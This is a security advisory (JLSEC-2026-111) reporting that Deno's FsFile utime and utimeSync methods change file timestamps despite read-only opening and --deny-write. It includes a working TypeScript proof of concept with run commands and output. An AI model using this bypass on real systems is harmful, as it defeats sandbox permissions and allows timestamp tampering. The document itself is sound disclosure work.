JLSEC-2026-111

Summary

Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.

It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).

Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test.txt

// touch test.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
async function poc1(){
    using file = await Deno.open("./test.txt", { read: true, write: false});

    const fileInfoBefore = await file.stat();

    await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));

    const fileInfoAfter = await file.stat();


    console.log(`BEFORE (utime)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())


    console.log(`AFTER (utime)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}


// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
function poc2(){
    using file = Deno.openSync("./test.txt", { read: true, write: false});

    const fileInfoBefore = file.statSync();

    file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));

    const fileInfoAfter = file.statSync();


    console.log(`BEFORE (utimeSync)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())


    console.log(`AFTER (utimeSync)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}

// https://docs.deno.com/api/deno/~/Deno.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
async function poc3(){
    // not executed
    await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}

// https://docs.deno.com/api/deno/~/Deno.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
function poc4(){
    // not executed
    Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "write", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

• deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1

PermissionStatus { state: "denied", onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000

• deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2

PermissionStatus { state: "denied", onchange: null }
BEFORE (utimeSync)
2000
2000
AFTER (utimeSync)
2001
2001

• deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3

PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
    await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
               ^
    ...

• deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4

PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
    Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
         ^
    ...

Impact

Permission model bypass